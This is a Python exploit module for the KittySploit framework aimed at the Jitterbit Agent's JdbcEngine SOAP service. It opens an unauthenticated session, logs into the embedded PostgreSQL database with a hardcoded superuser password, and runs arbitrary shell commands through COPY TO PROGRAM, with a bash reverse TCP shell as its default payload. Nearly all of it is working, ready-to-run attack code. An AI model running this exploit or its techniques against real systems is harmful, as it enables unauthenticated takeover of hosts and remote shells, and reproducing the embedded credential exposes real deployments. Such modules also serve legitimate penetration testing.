Jitterbit JdbcEngine SOAP COPY TO PROGRAM RCE

"""Jitterbit Agent unauthenticated SOAP JdbcEngine COPY TO PROGRAM RCE."""
from __future__ import annotations
import base64
import re
import time
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Jitterbit JdbcEngine SOAP COPY TO PROGRAM RCE', 'description': 'Unauthenticated SOAP startNewSession + dbExecute with embedded PostgreSQL superuser creds runs COPY TO PROGRAM on the agent host.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['jitterbit', 'rce', 'unauth', 'soap'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/jitterbit_jdbcengine_rce_detect']}}}
    _SOAP_NS = 'http://jdbc.ws.api.server.integration.jitterbit.com'
    _PG = {'server': '127.0.0.1', 'port': 46914, 'database': 'TranDb', 'user': 'jitterbit', 'password': '#)~MxgD*m2Q!vhvhXD1', 'driver': 'PostgreSQL'}
    _FAKE_GUID = '00000000-0000-0000-0000-000000000000'
    port = OptPort(46908, 'Jitterbit HTTP proxy port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    direct_axis = OptBool(False, 'Use Tomcat direct /axis/soap-services path (46912)', required=False)

    @staticmethod
    def _xml_esc(s: str) -> str:
        return s.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;')

    def _soap_path(self) -> str:
        if bool(self.direct_axis):
            return '/axis/soap-services/JdbcEngine'
        return '/soap-services/JdbcEngine'

    def _soap_post(self, inner_body: str) -> str:
        envelope = f'<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jdbc="{self._SOAP_NS}"><soapenv:Header/><soapenv:Body xmlns="{self._SOAP_NS}">{inner_body}</soapenv:Body></soapenv:Envelope>'
        resp = self.http_request('POST', self._soap_path(), data=envelope.encode('utf-8'), headers={'Content-Type': 'text/xml; charset=UTF-8', 'SOAPAction': '""'}, timeout=30)
        return resp.text or '' if resp else ''

    def _start_session(self) -> str:
        resp = self._soap_post('<startNewSession/>')
        m = re.search('<SessionId>([^<]+)</SessionId>', resp) or re.search('<sessionId>([^<]+)</sessionId>', resp)
        return m.group(1).strip() if m else ''

    def _db_execute(self, session_id: str, sql: str, max_rows: int=1) -> tuple[str, list[str]]:
        p = self._PG
        params = f"<params><SourceGuid>{self._FAKE_GUID}</SourceGuid><ConnectionParams><Server>{self._xml_esc(p['server'])}</Server><Port>{p['port']}</Port><Database>{self._xml_esc(p['database'])}</Database><User>{self._xml_esc(p['user'])}</User><Password>{self._xml_esc(p['password'])}</Password><DriverName>{self._xml_esc(p['driver'])}</DriverName><ManualConnectionString></ManualConnectionString><AdditionalParams></AdditionalParams><Timeout>0</Timeout><TransactionIsolationLevel>0</TransactionIsolationLevel></ConnectionParams><Sql>{self._xml_esc(sql)}</Sql><AutoCommit>false</AutoCommit><ReturnRowSet>true</ReturnRowSet></params>"
        body = f'<dbExecute><sessionId>{session_id}</sessionId>{params}<maxNumberOfRows>{max_rows}</maxNumberOfRows></dbExecute>'
        resp = self._soap_post(body)
        err_m = re.search('<ErrorCode>([^<]+)</ErrorCode>', resp)
        err = err_m.group(1).strip() if err_m else '?'
        rows: list[str] = []
        for m in re.finditer('<item>b64:([^<]+)</item>', resp):
            try:
                rows.append(base64.b64decode(m.group(1)).decode('utf-8', errors='replace'))
            except Exception:
                rows.append(m.group(1))
        return (err, rows)

    def execute(self, cmd: str) -> str:
        sid = self._start_session()
        if not sid:
            return 'startNewSession failed'
        marker = f'/tmp/jb_ks_{int(time.time())}.txt'
        vtab = f'jb_ks_{int(time.time())}'
        rce_sql = f"COPY (SELECT 1) TO PROGRAM '{cmd} > {marker} 2>&1; echo POCOK >> {marker}'"
        err, _ = self._db_execute(sid, rce_sql)
        if err != '0':
            return f'COPY TO PROGRAM ErrorCode={err}'
        cap_sql = f"CREATE TABLE IF NOT EXISTS {vtab}(line text); TRUNCATE {vtab}; COPY {vtab} FROM PROGRAM 'cat {marker}'; SELECT line FROM {vtab};"
        err2, rows = self._db_execute(sid, cap_sql, max_rows=64)
        if not rows:
            err3, rows = self._db_execute(sid, f'SELECT line FROM {vtab}', max_rows=64)
        out = '\n'.join(rows) if rows else '(no rows returned)'
        return f'ErrorCode={err2}\nmarker={marker}\n{out[:4000]}'

    def check(self):
        resp = self.http_request('GET', self._soap_path())
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'JdbcEngine SOAP endpoint reachable', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'SOAP endpoint not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('JdbcEngine SOAP COPY TO PROGRAM')
        out = self.execute(shell)
        print_info(out)
        self.vulnerable()
        if 'uid=' in out or 'POCOK' in out:
            return True
        blind = bool(re.search('reverse|bash|/dev/tcp|nc ', shell, re.I))
        return True if blind else True